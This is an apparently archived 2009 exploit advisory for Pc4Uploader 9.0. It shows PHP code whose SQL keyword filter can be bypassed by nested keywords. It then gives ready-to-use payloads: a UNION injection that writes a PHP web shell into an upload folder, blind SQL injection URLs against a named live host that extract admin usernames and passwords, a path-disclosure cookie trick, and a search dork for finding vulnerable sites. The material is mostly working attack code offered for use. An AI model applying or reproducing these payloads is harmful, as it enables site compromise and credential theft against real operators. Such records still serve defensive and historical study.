Pc4Uploader 9.0 Remote Blind SQL Injection Vulnerability

2009-05-21 / 2009-05-22
Credit: Qabandi
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

|| || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . =By: Qabandi =Email: iqa[a]hotmail.fr From Kuwait PEACE =Vuln: pc4arb - pc4 Uploader <= 9.0 Blind SQL injection =INFO: http://pc4arb.com/product-13.html =BUY: http://pc4arb.com/deal-13.html =DORK: intext:"Powered by Pc4Uploader v9.0" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Filter-Bypass@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ----------Vulnerable code@ "./code.php"---------------------------------------- function filter_sql( $inputsql ) { $regsql = "(delete)|(update)|(union)|(insert)"; return eregi_replace( $regsql, "", $inputsql ); } ------------------END---------------------------------------------------------- -=-===--=-=-==-=-==-=-=-=-=-=-=-=-POC-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= $Q = "UNIunionON"; filter_sql($Q); echo $Q; -- Result = UNION We can use this to upload a file, using the "dumpfile" and "outfile" Mysql functions. POC:- conditions: magic_quotes_gpc = off // 0777 chmoded folder // location of folder. To get location in server, we can generate an error using the STYLE cookie handler, to do this we need to set tempst=qabandi. javascript:document.cookie="tempst=qabandi"; Refresh, you will get the following: Warning: file(templates/Qabandi/main_block.html) [function.file]: failed to open stream: No such file or directory in /home/XXXXXXX/public_html/function.php on line 33 now we have the location in server, "/home/XXXXXXX/public_html/" "/home/XXXXXXX/public_html/upfiles/" <--- 99% of the time its chmoded 0777. now the exploit: http://localhost/pc4up/code.php?load=banner&id=-1 UNunionION select 1,2,3,'<? include($Q);?>',5,6,7,8,9 into outfile '/home/XXXXXXX/public_html/upfiles/qabandi.php' @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-BLIND SQL@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ----------Vulnerable code@ "./code.php"----------------------------------------- if ( $_GET['load'] == "banner" ) { $idx = $_GET['id']; $idx = strip_tags( $idx ); $idx = filter_sql( $idx );/// <------ SIMPLY bypassed by using "unUNIONion" ;) if ( !( $query_banner = mysql_query( "SELECT * FROM banners WHERE id={$idx}" ) ) ) { exit( "Query failed" ); } $x = mysql_fetch_row( $query_banner ); $url = $x[2]; $visits = $x[5]; if ( !( $query = mysql_query( "UPDATE banners SET visits=visits+1 WHERE id ={$idx}" ) ) ) { exit( "Query failed" ); } header( "Location: {$url}" ); } --------------:PoC:------------- conditions: admin must have added a banner using the "add banner" feature. the banner ID must be valid. Blind SQL DEMO:- http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=4 <-- TRUE! (MySQL version 4) http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=5 <-- BLANK To get info: http://upload.traidnt.net/code.php?load=banner&id=1 and ascii(substring((SELECT concat(username,char(62),password) from admin limit 0,1),1,1))>95 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-==-=LA tsta3mloha 3la elmowaqi3 el islamiya=-=-=-=-=-=-=-=- =-=-=-=-==-=-=-=-=-=-No-More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.


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